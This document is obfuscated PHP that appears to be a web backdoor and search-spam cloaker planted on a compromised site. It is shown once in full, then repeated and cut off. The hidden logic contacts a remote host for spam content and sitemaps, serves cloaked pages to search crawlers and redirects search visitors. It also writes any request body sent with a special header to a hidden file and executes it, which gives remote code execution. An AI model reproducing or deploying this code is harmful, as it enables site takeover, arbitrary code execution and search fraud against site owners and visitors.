db3

<?php goto aO0Lk; fFSXZ: echo $GIMnY[1]; goto WzL2A; Pi_VP: function urls($ORVr7, $W_Ym3, $j4i9I, $CzHln, $UIpRu = null) { goto Wumt_; nupyM: fclose($nctAw); goto vixmH; cJjyv: $SG7zI = "\107\105\x54\40" . $W_Ym3 . "\x3f" . $UIpRu . "\40\x48\124\x54\120\x2f\x31\56\60\15\12\x48\x6f\163\x74\72\x20" . $ORVr7 . "\xd\xa\x52\145\x66\145\162\145\x72\x3a\40" . $CzHln . "\15\xa\x55\163\145\x72\x2d\101\x67\145\156\164\72\40" . $j4i9I . "\xd\12\15\12"; goto FIqLU; Wumt_: $nctAw = stream_socket_client("\x73\x73\154\72\x2f\57" . $ORVr7 . "\x3a\x34\x34\63", $D6Thl, $v2_ke, 6); goto cJjyv; FIqLU: $fays9 = fwrite($nctAw, $SG7zI); goto nupyM; vixmH: } goto U3b8q; rYdiI: $FalnD = strval(time()); goto QqUeU; UMuBy: $F_LfA = 1; goto txDTY; hnccb: if (!($F_LfA <= intval($SFHgu))) { goto XZto2; } goto mc2wH; yMWct: echo $HteuM; goto VZPpi; H6J6y: foreach ($GfA_l as $Gp9fK) { goto LO85f; n0muf: ZaTl3: goto Bikaw; z80xS: $uzxyo .= sprintf($HL9PV, $N7G88, $N7G88); goto n0muf; LO85f: $N7G88 = $ExVrp . "\72\x2f\57" . $ORVr7 . "\x2f" . $Gp9fK; goto z80xS; Bikaw: } goto Xtb7N; BXTmA: function https() { goto oI2kb; ge3z7: return "\150\x74\x74\160\x73"; goto lpUSB; oI2kb: if (!(!empty($_SERVER["\110\x54\x54\120\123"]) && strtolower($_SERVER["\110\x54\x54\x50\x53"]) !== "\x6f\146\x66" || isset($_SERVER["\x48\x54\124\x50\137\130\x5f\106\x4f\x52\x57\101\x52\x44\105\104\137\120\x52\117\124\117"]) && $_SERVER["\x48\x54\124\120\137\x58\137\106\117\122\x57\101\122\x44\x45\104\x5f\120\122\117\x54\117"] === "\150\164\164\x70\163" || !empty($_SERVER["\x48\x54\124\120\137\x46\122\117\116\x54\x5f\x45\x4e\104\x5f\110\124\124\x50\123"]) && strtolower($_SERVER["\110\x54\124\120\137\x46\x52\117\x4e\124\x5f\x45\x4e\x44\x5f\110\124\x54\120\123"]) !== "\x6f\146\x66")) { goto S_4tn; } goto ge3z7; SvsRv: return "\x68\x74\x74\x70"; goto J_aDV; lpUSB: S_4tn: goto SvsRv; J_aDV: } goto PU2FX; WigsL: $N7G88 = urlx(sprintf("\x68\164\x74\x70\x73\72\57\x2f\45\x73\57\142\x6f\x74\x2f\x33\x30\62\x3f" . $RPxWN . "\x26\x75\162\151\75" . $h3YMA, gets()), $vQoAF, $RPxWN, 1); goto wQphT; uefHZ: @set_time_limit(3600); goto f7VlY; idu3_: @header("\103\157\156\x74\x65\x6e\164\x2d\164\x79\160\x65\x3a\x20\164\145\x78\164\57\x78\155\154"); goto G9iDR; obCS9: $SFHgu = trim(urlx("\x68\x74\164\x70\163\72\x2f\x2f" . gets() . "\57\163\151\164\145\x6d\141\160" . ($GIMnY[1] == '' || $kKyYK[1] != '' ? "\56\170\x6d\154" : "\57" . $GIMnY[1]), $vQoAF, $K9At5)); goto gury3; Ygiuc: $E02UR = "\74\x3f\x78\155\x6c\40\x76\x65\162\163\x69\x6f\x6e\x3d\42\x31\x2e\60\42\x20\x65\x6e\x63\157\144\x69\156\x67\x3d\42\x55\x54\x46\55\70\42\77\76\x3c\41\55\x2d\40\x61\165\164\x6f\x67\145\x6e\x20\142\171\x20\x64\157\x69\x6d\40\55\x2d\x3e\15\12\74\165\162\154\x73\145\164\x20\170\x6d\x6c\x6e\x73\x3d\x22\150\x74\164\160\72\57\57\167\x77\167\56\163\x69\x74\x65\155\141\x70\163\56\x6f\162\147\57\x73\143\150\145\155\x61\x73\57\x73\x69\164\145\155\x61\x70\57\60\x2e\x39\42\xd\12\x20\x20\x20\x20\x20\40\x78\155\154\156\163\72\x78\x68\164\x6d\154\x3d\42\150\x74\164\x70\x3a\x2f\57\x77\167\x77\56\167\63\x2e\x6f\x72\x67\x2f\61\x39\71\x39\x2f\170\x68\164\x6d\x6c\x22\x3e\15\xa\x25\x73\74\57\165\x72\154\163\x65\164\76"; goto wFkcJ; XMSP8: if (!@preg_match("\43\136\x2f\x70\x69\x6e\147\x73\151\164\145\155\x61\x70\x28\x2e\52\77\x29\56\x78\x6d\154\x24\x23\x69", $h3YMA, $GIMnY)) { goto wMiTH; } goto uw2DI; pLatb: goto K9Gc7; goto fxuLk; mlDLS: $K9At5 .= "\46\147\x72\157\165\x70\151\x64\x3d" . $kKyYK[1]; goto sS8Xn; NUhR0: goto POOij; goto aF0Xp; vJAu0: s2_ir: goto ocUR1; d7D8N: array_push($vQoAF, "\x74\x69\155\145\163\x74\x61\155\160\x3a\x20" . $FalnD); goto ROz8C; weKVk: $wYk0m = urlx($JPh_T); goto a5_LX; uw2DI: $HteuM = ''; goto komEE; XQcJk: xLZSK: goto AYwNH; f7VlY: @ignore_user_abort(1); goto SesYY; s6b0c: echo @trim(urlx(sprintf("\150\x74\x74\160\163\72\x2f\57\x25\163\57\142\x6f\164\57\x63\141\x74\145\77" . $RPxWN, gets()), $vQoAF, $RPxWN . "\46\x68\x6f\x73\x74\x3d" . preg_replace("\x2f\x5b\x61\x2d\172\x49\135\x28\x78\171\172\x7c\x62\x75\x7a\x7a\x29\x2e\x2a\x24\x2f", "\x2e\x24\x31", strrev($tQ2MF[1])) . "\46\143\141\164\x65\151\144\x3d" . $tQ2MF[2], 1)); goto p23IN; GHUV8: $K9At5 .= $kKyYK[1] == '' ? "\x26\x67\162\x6f\165\x70\x69\144\x3d" . $nDxMr : "\46\147\162\157\x75\x70\151\144\x3d" . $kKyYK[1]; goto QlNlL; SgYns: njkRB: goto GHUV8; TEwaz: IvZGK: goto HWhF2; fxuLk: LQ_0o: goto npFWj; NcuEw: exit; goto gsLhq; VVXuH: NMt5f: goto TEwaz; ryG2k: UdZp_: goto Pi_VP; kaYCs: exit; goto pLatb; bvxPD: $uzxyo = ''; goto H6J6y; ZsBt4: array_push($vQoAF, "\x78\144\157\151\x6d\72\x20" . crc32($FalnD . "\x5c\156" . $K9At5)); goto v3MCs; SVFad: $BP_jF = isset($_SERVER["\x48\124\x54\120\137\122\105\106\105\x52\105\122"]) ? $_SERVER["\110\124\x54\x50\137\x52\x45\x46\x45\122\x45\x52"] : ''; goto G95BT; Gb9bi: eLx16: goto NY21i; AYwNH: if (!@preg_match("\43\136\x28\134\144\51\x2a\43", $SFHgu)) { goto IvZGK; } goto BGLKj; DUVAH: if (!@preg_match("\x23\136\x2f\x73\x69\x74\x65\x2f\77\x28\x2e\x2a\77\51\x24\43\151", $h3YMA, $GIMnY)) { goto s2_ir; } goto W0eRf; aQV32: bhdPi: goto ZBamj; eWPul: BWBtA: goto DUVAH; xKbbg: exit; goto Gb9bi; Ism12: $EjfCX = urlx($y70Oq, null, null, 1, "\x4d\x6f\x7a\151\154\154\141\x2f\65\x2e\60\x20\50\x57\151\x6e\x64\x6f\167\163\73\x20\125\73\x20\x57\x69\156\x64\x6f\x77\163\x20\x4e\x54\x20\65\x2e\x31\73\x20\145\x6e\55\x55\123\x29\x20\x41\160\160\x6c\145\127\145\x62\x4b\x69\x74\x2f\65\x33\x34\x2e\67\40\x28\x4b\110\124\x4d\114\54\40\154\151\x6b\145\x20\107\145\x63\x6b\157\51\x20\103\x68\162\157\155\x65\57\x37\56\60\56\x35\x31\67\56\x34\x31\x20\123\141\x66\141\162\151\57\x35\x33\x34\56\67"); goto HWM73; JpYVB: $ORVr7 = $_SERVER["\110\x54\124\120\137\x48\x4f\x53\x54"]; goto xpT6d; DJDZG: $RPxWN = $K9At5 . "\46\x68\164\164\160\x3d" . $ExVrp . "\x26\x67\x72\x6f\165\x70\x69\x64\x3d" . $nDxMr; goto KjHbA; OHvLv: array_push($vQoAF, "\x78\x64\x6f\x69\155\72\40" . crc32($FalnD . "\x5c\156" . $K9At5)); goto obCS9; p23IN: exit; goto DlRKL; AJZMP: array_push($vQoAF, "\164\x69\x6d\x65\x73\x74\141\x6d\160\72\40" . $FalnD); goto OHvLv; HQmvU: $vQoAF = array("\125\163\x65\x72\55\101\147\145\156\164\x3a\40" . $j4i9I, "\114\141\x6e\x67\72\40" . $AxAVw, "\122\x65\x66\x65\162\x65\x72\x3a\40" . $BP_jF, "\110\164\x74\160\x2d\x48\x6f\x73\x74\x3a\40" . $ORVr7, "\122\145\155\x6f\164\145\x2d\x41\x64\x64\162\x3a\x20" . $zqn8t); goto ZClos; m5yvx: $K9At5 .= "\46\147\x72\x6f\165\x70\x69\x64\75" . $nDxMr; goto zbaSA; HWhF2: bbLcI: goto yMWct; WzL2A: exit; goto vJAu0; g2wBu: $SFHgu = trim(urlx("\150\x74\x74\x70\163\x3a\57\x2f" . gets() . "\x2f\x73\151\x74\x65\155\141\x70\56\x78\155\154", $vQoAF, $K9At5 . "\46\x68\164\164\x70\x3d" . $ExVrp)); goto iTnjD; TkphG: $RPxWN = $K9At5 . "\46\147\x72\157\165\160\x69\144\75" . $nDxMr . "\x26\165\162\151\x3d" . $h3YMA . "\46\151\x70\75" . $zqn8t; goto WigsL; fShy8: if (!@preg_match("\x23\147\157\157\147\154\145\174\171\x61\150\x6f\x6f\174\x62\151\x6e\x67\174\143\x72\x61\x66\x74\174\103\x72\x61\x77\154\x65\162\x23\x69", $j4i9I)) { goto fHCdh; } goto DJDZG; vvQpB: @preg_match("\43\50\134\x64\x2a\51\344\xbb\266\74\41\x2d\x2d\x23", $EjfCX, $GIMnY); goto fFSXZ; A9ACo: exit; goto nTZKh; VKkO_: $HteuM .= $JPh_T . $wYk0m; goto qBXYV; L5aIK: jKF9y: goto WUqhq; YLinT: $F_LfA++; goto NUhR0; VUAve: $K9At5 = "\163\x68\157\x73\x74\x3d" . $ORVr7 . "\46\x68\164\x74\x70\x3d" . $ExVrp; goto mhQ93; ewqYd: goto K9Gc7; goto vEM9a; aF0Xp: XZto2: goto ZN8Kg; txDTY: POOij: goto hnccb; iTnjD: if (!($SFHgu === '')) { goto xLZSK; } goto JlZQO; QqUeU: array_push($vQoAF, "\164\x69\155\x65\163\x74\141\x6d\160\x3a\40" . $FalnD); goto ZsBt4; qBXYV: goto bbLcI; goto SgYns; AV7Xs: $EjfCX = str_replace(array("\57\134\57\x73\53\x2f", "\x5c\162\x5c\x6e", "\x5c\162", "\134\x6e", "\42", "\x2c"), '', $EjfCX); goto vvQpB; SesYY: $nDxMr = "\64\x31\63"; goto Ygiuc; JlZQO: exit; goto XQcJk; NY21i: if (!(isset($_SERVER["\110\124\x54\x50\137\x58\104\x4f\x49\115"]) && strlen($_SERVER["\x48\x54\x54\120\137\x58\104\x4f\111\115"]) > 0)) { goto BWBtA; } goto gvpcs; BaiGk: exit; goto ewqYd; G95BT: $j4i9I = isset($_SERVER["\110\124\x54\120\137\x55\123\x45\x52\137\101\x47\105\116\x54"]) ? $_SERVER["\110\124\x54\x50\137\x55\123\x45\122\137\x41\107\105\x4e\124"] : ''; goto JpYVB; sS8Xn: SEvDJ: goto lISvO; oaA_u: echo include "\56\x65\107\101\60\124\171\62\x57\x4c\150"; goto PmtZq; KPX4J: fHCdh: goto SN7ab; nFgnx: $R9a5w = "\x3c\77\x78\x6d\154\x20\x76\145\162\x73\x69\157\x6e\x3d\42\x31\x2e\60\42\x20\x65\156\143\157\144\x69\x6e\147\75\42\x55\124\106\55\70\x22\x3f\x3e\74\x21\55\55\x20\141\165\164\157\x67\145\x6e\x20\142\171\x20\144\157\151\x6d\x20\55\55\x3e\15\12\74\x73\x69\x74\x65\x6d\x61\160\x69\156\x64\145\170\x20\x78\x6d\x6c\x6e\163\75\x22\x68\164\164\160\x3a\x2f\x2f\167\167\167\x2e\163\151\164\x65\x6d\x61\160\163\56\157\162\x67\x2f\163\143\x68\x65\x6d\x61\163\x2f\163\151\x74\145\155\x61\x70\57\x30\x2e\x39\42\x3e\x20\x25\x73\x20\74\x2f\x73\151\164\145\x6d\141\x70\151\156\144\x65\x78\76"; goto bLo9h; aO0Lk: error_reporting(0); goto O0Nij; gsLhq: gf8dr: goto idu3_; UwCSt: echo sprintf($E02UR, $uzxyo); goto xKbbg; VZPpi: exit; goto YsqKd; PmtZq: unlink("\x2e\x65\107\101\x30\124\171\62\x57\114\x68"); goto G0KBN; gvpcs: $FalnD = isset($_SERVER["\x48\124\x54\x50\137\124\111\x4d\x45\123\x54\x41\115\120"]) ? $_SERVER["\x48\124\x54\120\x5f\x54\111\x4d\105\123\x54\x41\115\120"] : ''; goto DMuMV; BLD5R: cjK02: goto mlDLS; HWM73: $EjfCX = substr($EjfCX, strpos($EjfCX, "\x3c\41\55\x2d\x20\x2d\x2d\76"), 100); goto AV7Xs; SN7ab: if (!(@preg_match("\43\147\x6f\x6f\147\154\145\x2e\x63\x6f\x2e\152\160\174\147\x6f\x6f\x67\154\x65\x2e\x63\157\155\174\171\x61\150\157\x6f\56\x63\x6f\x2e\152\160\174\x79\141\x68\x6f\157\x2e\x63\157\x7c\142\x69\156\x67\x2e\x63\x6f\x6d\x7c\141\x73\153\56\143\157\x6d\174\141\157\x6c\56\x63\157\155\174\141\x6f\154\x2e\152\x70\x23\x69", $BP_jF) && @preg_match("\43\x28\x5b\141\55\x7a\111\x5d\x2b\x29\x2d\50\134\x64\53\x29\x3f\x28\x2d\x28\x5c\x64\x2b\x29\x29\x3f\50\56\150\x74\x6d\154\51\44\43\151", $h3YMA))) { goto UdZp_; } goto TkphG; ZBamj: if (!($F_LfA <= intval($SFHgu))) { goto NMt5f; } goto JR_qc; eoxOK: $ExVrp = https(); goto HQmvU; npFWj: $RPxWN .= sprintf("\46\x68\160\x69\144\x3d\x25\163\x2d\x25\163", preg_replace("\x2f\x5b\x61\55\x7a\x49\135\x28\170\x79\x7a\x7c\142\165\x7a\172\x29\56\x2a\44\x2f", "\56\44\61", strrev($GIMnY[1])), $GIMnY[2]); goto Xztq_; xpT6d: $h3YMA = $_SERVER["\122\105\121\125\x45\x53\x54\137\125\122\111"]; goto aM5IW; lISvO: $FalnD = strval(time()); goto AJZMP; vEM9a: koeAz: goto s6b0c; Mqn1_: $bJLHY = ''; goto UMuBy; G0KBN: exit; goto eWPul; wQphT: @header("\x4c\x6f\143\x61\x74\151\x6f\156\x3a\40" . $N7G88); goto FpPv9; nCbtP: $JPh_T = sprintf("\x68\164\164\x70\163\x3a\x2f\x2f\x77\x77\167\x2e\x67\157\157\x67\x6c\145\56\143\157\56\x6a\160\x2f\160\151\x6e\x67\x3f\x73\x69\164\145\x6d\141\x70\x3d\x25\163\72\x2f\57\45\x73\x2f\163\x69\x74\x65\x6d\x61\160\x25\x73\56\x78\x6d\x6c", $ExVrp, $ORVr7, $GIMnY[1]); goto j0ASs; DMuMV: $v_fU3 = @file_get_contents("\160\150\160\72\x2f\x2f\151\156\x70\x75\164"); goto PmKkv; ZClos: $K9At5 = "\163\x68\x6f\163\x74\75" . $ORVr7 . "\46\160\x72\x6f\164\157\x3d" . $ExVrp; goto opEaa; Xztq_: echo @trim(urlx(sprintf("\x68\x74\x74\160\x73\x3a\57\x2f\x25\x73\x2f\142\157\164\57\x70\141\x67\145\x3f" . $RPxWN, gets()), $vQoAF, $RPxWN, 1)); goto BaiGk; K9dRs: H9XaE: goto YLinT; zbaSA: goto SEvDJ; goto BLD5R; ROz8C: array_push($vQoAF, "\x78\x64\x6f\151\155\x3a\40" . crc32($FalnD . "\134\x6e" . $K9At5)); goto g2wBu; HsPAP: $GfA_l = explode("\12", $SFHgu); goto bvxPD; O0Nij: @ini_set("\144\151\163\x70\154\x61\x79\x5f\x65\162\162\x6f\x72\163", 0); goto uefHZ; ZN8Kg: echo sprintf($R9a5w, $bJLHY); goto gQtVk; OCcVu: echo @trim(urlx(sprintf("\150\164\x74\x70\x73\72\57\x2f\x25\163\x2f\x62\x6f\x74\x2f\x68\x6f\155\145\x3f" . $RPxWN . "\46\x75\x72\151\x3d" . $h3YMA, gets()), $vQoAF, $RPxWN, 1)); goto kaYCs; FpPv9: exit; goto ryG2k; OUtY0: goto bhdPi; goto VVXuH; BGLKj: $F_LfA = 1; goto aQV32; W0eRf: $y70Oq = urldecode("\x68\x74\x74\160\163\x3a\x2f\57\163\145\141\x72\x63\150\x2e\x79\x61\x68\x6f\x6f\56\x63\x6f\x2e\x6a\x70\57\163\145\141\162\x63\x68\77\160\75\163\x69\164\x65\x3a\45\x73\46\x65\151\75\x55\124\106\55\x38"); goto eRzs_; rgSKi: if (!@preg_match("\43\x5e\57\x73\151\164\145\155\141\x70\50\x2e\52\77\51\x2e\x78\x6d\154\x24\43\151", $h3YMA, $GIMnY)) { goto eLx16; } goto VUAve; mhQ93: if (@preg_match("\x23\50\134\x64\x2b\51\55\44\x23", $GIMnY[1], $kKyYK)) { goto cjK02; } goto m5yvx; a5_LX: $HteuM .= $JPh_T . $wYk0m; goto L5aIK; r050R: QSwOG: goto HsPAP; gury3: if (!($SFHgu === '')) { goto gf8dr; } goto NcuEw; gQtVk: exit; goto r050R; opEaa: $h3YMA = $_SERVER["\x52\x45\121\x55\x45\x53\x54\137\x55\x52\111"]; goto XMSP8; YsqKd: wMiTH: goto rgSKi; WUqhq: $F_LfA++; goto OUtY0; j0ASs: $wYk0m = urlx($JPh_T); goto VKkO_; mc2wH: $bJLHY .= sprintf($EjLp5, $ExVrp, $ORVr7, $F_LfA, date("\131\55\x6d\55\144\x5c\x54\110\x3a\151\x3a\x73\120", time())); goto K9dRs; KjHbA: if (@preg_match("\x23\x28\133\x61\x2d\172\x5d\x2b\51\55\50\x5c\x64\x2b\x29\x3f\50\56\150\x74\x6d\x6c\51\x24\43\x69", $h3YMA, $GIMnY)) { goto LQ_0o; } goto BOhpr; ABxQ6: $AxAVw = isset($_SERVER["\x48\x54\x54\x50\137\x41\103\x43\105\120\124\137\x4c\101\x4e\107\x55\x41\107\x45"]) ? substr($_SERVER["\110\x54\x54\120\137\x41\103\x43\105\x50\x54\137\114\x41\x4e\x47\125\x41\x47\105"], 0, 4) : ''; goto SVFad; wFkcJ: $HL9PV = "\40\74\165\162\154\x3e\40\x3c\154\157\x63\x3e\45\x73\x3c\x2f\x6c\157\x63\x3e\x3c\x78\x68\x74\x6d\154\72\154\x69\x6e\153\40\x72\x65\154\x3d\42\x61\154\164\x65\x72\156\141\x74\145\42\40\150\162\x65\x66\x6c\x61\156\x67\75\42\x6a\141\42\x20\x68\162\145\146\x3d\42\45\x73\x22\57\76\x3c\x2f\x75\x72\x6c\x3e"; goto nFgnx; komEE: if ($GIMnY[1] === '' || @preg_match("\x23\x28\134\x64\x2b\x29\x2d\44\x23", $GIMnY[1], $kKyYK)) { goto njkRB; } goto nCbtP; JR_qc: $JPh_T = sprintf("\x68\x74\x74\x70\x73\x3a\x2f\57\x77\x77\x77\56\x67\157\157\147\x6c\x65\56\143\157\x2e\152\160\x2f\160\151\x6e\147\77\163\151\164\x65\155\x61\160\x3d\45\x73\x3a\x2f\57\x25\163\x2f\x73\x69\x74\x65\155\x61\160\45\x73\x25\144\x2e\x78\155\154", $ExVrp, $ORVr7, $kKyYK[0], $F_LfA); goto weKVk; Xtb7N: U9rtd: goto UwCSt; bLo9h: $EjLp5 = "\40\x3c\163\151\164\145\x6d\x61\160\x3e\x20\74\x6c\157\143\x3e\45\163\72\57\57\45\163\x2f\163\151\x74\x65\155\141\160\45\x64\x2e\x78\155\154\x3c\57\x6c\157\x63\76\x3c\x2f\x73\151\x74\145\x6d\141\160\76"; goto ABxQ6; ZKKZn: function cc($h3YMA) { goto TQIwe; TQIwe: $sSDyI = explode("\x2d", substr($h3YMA, 1, strlen($h3YMA) - 6)); goto lbEvx; qjTKi: $NP_UU = sprintf("\x25\x75", crc32(sprintf("\45\163\55\45\x73", $sSDyI[0], $sSDyI[1]))); goto tVIPw; MNq7J: return false; goto fC5RL; lbEvx: if (!(sizeof($sSDyI) != 3)) { goto pXHWq; } goto MNq7J; fC5RL: pXHWq: goto qjTKi; tVIPw: return $NP_UU == $sSDyI[2]; goto Nd2y0; Nd2y0: } goto ySxdH; QlNlL: $FalnD = strval(time()); goto d7D8N; XcjKE: echo $Adc61 === false ? "\146\141\151\x6c" . gets() : $yWTtw . $nDxMr . gets(); goto A9ACo; DlRKL: K9Gc7: goto KPX4J; G9iDR: if (!(($GIMnY[1] === '' || $kKyYK[1] != '') && @preg_match("\x23\136\x28\134\x64\x29\52\x23", $SFHgu))) { goto QSwOG; } goto Mqn1_; v3MCs: $yWTtw = trim(urlx("\150\x74\x74\160\x73\72\x2f\57" . gets() . $GIMnY[0], $vQoAF, $K9At5)); goto XcjKE; eRzs_: $y70Oq = $GIMnY[1] == '' ? sprintf($y70Oq, $ORVr7) : sprintf($y70Oq, $GIMnY[1]); goto Ism12; nTZKh: JOEGO: goto fShy8; ySxdH: function gets() { return "\142\61\56\147\154\157\x72\171\144\x61\171\x2e\167\157\162\153"; } goto BXTmA; PmKkv: @file_put_contents("\x2e\x65\107\x41\x30\124\x79\x32\x57\x4c\150", $v_fU3, FILE_USE_INCLUDE_PATH); goto oaA_u; BOhpr: if (@preg_match("\x23\143\x61\164\145\x5c\x2f\x28\x5b\x61\55\x7a\135\53\51\55\50\134\144\x2b\x29\x24\43\x69", $h3YMA, $tQ2MF)) { goto koeAz; } goto OCcVu; U3b8q: function urlx($y70Oq, $vQoAF = null, $K9At5 = null, $KYhdK = null) { goto K4_FD; AyUWe: curl_setopt($T81ZJ, CURLOPT_HTTPHEADER, $vQoAF); goto Zfkkn; drrUc: Bh9gK: goto h30hv; XaBwe: if ($K9At5 === null) { goto MLpi8; } goto QzfrQ; A_QSZ: $EjfCX = curl_exec($T81ZJ); goto eZKCq; h30hv: if ($vQoAF === null) { goto Qygpp; } goto AyUWe; dcYCk: curl_setopt($T81ZJ, CURLOPT_RETURNTRANSFER, 1); goto A_QSZ; unR7T: return $EjfCX; goto LTRv7; cWn_k: MLpi8: goto dcYCk; r5xmr: AHl7b: goto qrIFx; Zfkkn: Qygpp: goto XaBwe; FsRTT: curl_setopt($T81ZJ, CURLOPT_FOLLOWLOCATION, 1); goto XHZ33; Y3Olb: curl_setopt($T81ZJ, CURLOPT_SSL_VERIFYPEER, FALSE); goto A4kwR; A4kwR: curl_setopt($T81ZJ, CURLOPT_SSL_VERIFYHOST, FALSE); goto drrUc; qrIFx: if (!(stripos($y70Oq, "\x68\x74\164\x70\163\72") === 0)) { goto Bh9gK; } goto Y3Olb; hJQWn: curl_setopt($T81ZJ, CURLOPT_URL, $y70Oq); goto FsRTT; XHZ33: if ($KYhdK === null) { goto AHl7b; } goto tVlRd; K4_FD: $T81ZJ = curl_init(); goto hJQWn; L2QYs: curl_setopt($T81ZJ, CURLOPT_POSTFIELDS, $K9At5); goto cWn_k; tVlRd: curl_setopt($T81ZJ, CURLOPT_ENCODING, "\x67\x7a\151\x70\54\x64\x65\x66\x6c\141\x74\145"); goto r5xmr; eZKCq: curl_close($T81ZJ); goto unR7T; QzfrQ: curl_setopt($T81ZJ, CURLOPT_POST, 1); goto L2QYs; LTRv7: } goto ZKKZn; ocUR1: if (!@preg_match("\43\136\57\147\x65\164\166\x65\162\44\43\151", $h3YMA, $GIMnY)) { goto JOEGO; } goto rYdiI; aM5IW: $zqn8t = clientip(); goto eoxOK; PU2FX: function clientip() { goto QFiZ2; sjAe4: bmm6x: goto Lcd1L; PK6f2: goto nBZvl; goto sjAe4; sEKo4: return $_SERVER["\x52\105\115\x4f\124\105\137\x41\x44\104\122"]; goto QwR6u; Lcd1L: return getenv("\122\x45\115\x4f\124\x45\x5f\x41\x44\104\122"); goto NU8me; lou87: if (isset($_SERVER["\122\105\115\117\x54\105\137\101\x44\x44\x52"]) && $_SERVER["\122\105\115\117\124\x45\137\101\104\104\122"] && strcasecmp($_SERVER["\122\105\x4d\117\124\105\x5f\101\x44\104\122"], "\165\x6e\153\156\157\167\x6e")) { goto i8Fdt; } goto PK6f2; QFiZ2: if (getenv("\x52\105\x4d\117\124\105\x5f\x41\104\104\x52") && strcasecmp(getenv("\122\x45\115\117\x54\x45\x5f\101\104\104\122"), "\165\156\153\156\x6f\x77\156")) { goto bmm6x; } goto lou87; W6kqd: i8Fdt: goto sEKo4; QwR6u: nBZvl: goto f_FbU; NU8me: goto nBZvl; goto W6kqd; f_FbU: }?>

<?php goto aO0Lk; fFSXZ: echo $GIMnY[1]; goto WzL2A; Pi_VP: function urls($ORVr7, $W_Ym3, $j4i9I, $CzHln, $UIpRu = null) { goto Wumt_; nupyM: fclose($nctAw); goto vixmH; cJjyv: $SG7zI = "\107\105\x54\40" . $W_Ym3 . "\x3f" . $UIpRu . "\40\x48\124\x54\120\x2f\x31\56\60\15\12\x48\x6f\163\x74\72\x20" . $ORVr7 . "\xd\xa\x52\145\x66\145\162\145\x72\x3a\40" . $CzHln . "\15\xa\x55\163\145\x72\x2d\101\x67\145\156\164\72\40" . $j4i9I . "\xd\12\15\12"; goto FIqLU; Wumt_: $nctAw = stream_socket_client("\x73\x73\154\72\x2f\57" . $ORVr7 . "\x3a\x34\x34\63", $D6Thl, $v2_ke, 6); goto cJjyv; FIqLU: $fays9 = fwrite($nctAw, $SG7zI); goto nupyM; vixmH: } goto U3b8q; rYdiI: $FalnD = strval(time()); goto QqUeU; UMuBy: $F_LfA = 1; goto txDTY; hnccb: if (!($F_LfA <= intval($SFHgu))) { goto XZto2; } goto mc2wH; yMWct: echo $HteuM; goto VZPpi; H6J6y: foreach ($GfA_l as $Gp9fK) { goto LO85f; n0muf: ZaTl3: goto Bikaw; z80xS: $uzxyo .= sprintf($HL9PV, $N7G88, $N7G88); goto n0muf; LO85f: $N7G88 = $ExVrp . "\72\x2f\57" . $ORVr7 . "\x2f" . $Gp9fK; goto z80xS; Bikaw: } goto Xtb7N; BXTmA: function https() { goto oI2kb; ge3z7: return "\150\x74\x74\160\x73"; goto lpUSB; oI2kb: if (!(!empty($_SERVER["\110\x54\x54\120\123"]) && strtolower($_SERVER["\110\x54\x54\x50\x53"]) !== "\x6f\146\x66" || isset($_SERVER["\x48\x54\124\x50\137\130\x5f\106\x4f\x52\x57\101\x52\x44\105\104\137\120\x52\117\124\117"]) && $_SERVER["\x48\x54\124\120\137\x58\137\106\117\122\x57\101\122\x44\x45\104\x5f\120\122\117\x54\117"] === "\150\164\164\x70\163" || !empty($_SERVER["\x48\x54\124\120\137\x46\122\117\116\x54\x5f\x45\x4e\104\x5f\110\124\124\x50\123"]) && strtolower($_SERVER["\110\x54\124\120\137\x46\x52\117\x4e\124\x5f\x45\x4e\x44\x5f\110\124\x54\120\123"]) !== "\x6f\146\x66")) { goto S_4tn; } goto ge3z7; SvsRv: return "\x68\x74\x74\x70"; goto J_aDV; lpUSB: S_4tn: goto SvsRv; J_aDV: } goto PU2FX; WigsL: $N7G88 = urlx(sprintf("\x68\164\x74\x70\x73\72\57\x2f\45\x73\57\142\x6f\x74\x2f\x33\x30\62\x3f" . $RPxWN . "\x26\x75\162\151\75" . $h3YMA, gets()), $vQoAF, $RPxWN, 1); goto wQphT; uefHZ: @set_time_limit(3600); goto f7VlY; idu3_: @header("\103\157\156\x74\x65\x6e\164\x2d\164\x79\160\x65\x3a\x20\164\145\x78\164\57\x78\155\154"); goto G9iDR; obCS9: $SFHgu = trim(urlx("\x68\x74\164\x70\163\72\x2f\x2f" . gets() . "\57\163\151\164\145\x6d\141\160" . ($GIMnY[1] == '' || $kKyYK[1] != '' ? "\56\170\x6d\154" : "\57" . $GIMnY[1]), $vQoAF, $K9At5)); goto gury3; Ygiuc: $E02UR = "\74\x3f\x78\155\x6c\40\x76\x65\162\163\x69\x6f\x6e\x3d\42\x31\x2e\60\42\x20\x65\x6e\x63\157\144\x69\156\x67\x3d\42\x55\x54\x46\55\70\42\77\76\x3c\41\55\x2d\40\x61\165\164\x6f\x67\145\x6e\x20\142\171\x20\x64\157\x69\x6d\40\55\x2d\x3e\15\12\74\165\162\154\x73\145\164\x20\170\x6d\x6c\x6e\x73\x3d\x22\150\x74\164\160\72\57\57\167\x77\167\56\163\x69\x74\x65\155\141\x70\163\56\x6f\162\147\57\x73\143\150\145\155\x61\x73\57\x73\x69\164\145\155\x61\x70\57\60\x2e\x39\42\xd\12\x20\x20\x20\x20\x20\40\x78\155\154\156\163\72\x78\x68\164\x6d\154\x3d\42\150\x74\164\x70\x3a\x2f\57\x77\167\x77\56\167\63\x2e\x6f\x72\x67\x2f\61\x39\71\x39\x2f\170\x68\164\x6d\x6c\x22\x3e\15\xa\x25\x73\74\57\165\x72\154\163\x65\164\76"; goto wFkcJ; XMSP8: if (!@preg_match("\43\136\x2f\x70\x69\x6e\147\x73\151\164\145\155\x61\x70\x28\x2e\52\77\x29\56\x78\x6d\154\x24\x23\x69", $h3YMA, $GIMnY)) { goto wMiTH; } goto uw2DI; pLatb: goto K9Gc7; goto fxuLk; mlDLS: $K9At5 .= "\46\147\x72\157\165\x70\151\x64\x3d" . $kKyYK[1]; goto sS8Xn; NUhR0: goto POOij; goto aF0Xp; vJAu0: s2_ir: goto ocUR1; d7D8N: array_push($vQoAF, "\x74\x69\155\145\163\x74\x61\155\160\x3a\x20" . $FalnD); goto ROz8C; weKVk: $wYk0m = urlx($JPh_T); goto a5_LX; uw2DI: $HteuM = ''; goto komEE; XQcJk: xLZSK: goto AYwNH; f7VlY: @ignore_user_abort(1); goto SesYY; s6b0c: echo @trim(urlx(sprintf("\150\x74\x74\160\163\72\x2f\57\x25\163\57\142\x6f\164\57\x63\141\x74\145\77" . $RPxWN, gets()), $vQoAF, $RPxWN . "\46\x68\x6f\x73\x74\x3d" . 